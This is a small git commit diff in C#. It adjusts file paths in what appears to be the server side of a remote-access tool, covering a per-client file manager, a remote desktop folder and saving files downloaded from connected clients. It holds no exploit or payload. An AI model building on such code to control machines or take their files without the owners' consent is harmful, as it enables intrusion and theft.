This commit is contained in:
NYAN CAT 2019-06-23 06:50:43 +03:00
parent cdc9fbdefb
commit 549c1f30f2
2 changed files with 2 additions and 2 deletions

View File

@ -741,7 +741,7 @@ namespace Server
Text = "fileManager:" + client.ID,
F = this,
Client = client,
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop")
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID)
};
fileManager.Show();
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());

View File

@ -158,7 +158,7 @@ namespace Server.Handle_Packet
File.Delete(filename);
await Task.Delay(500);
}
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)));
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), filename));
SD.Close();
}
}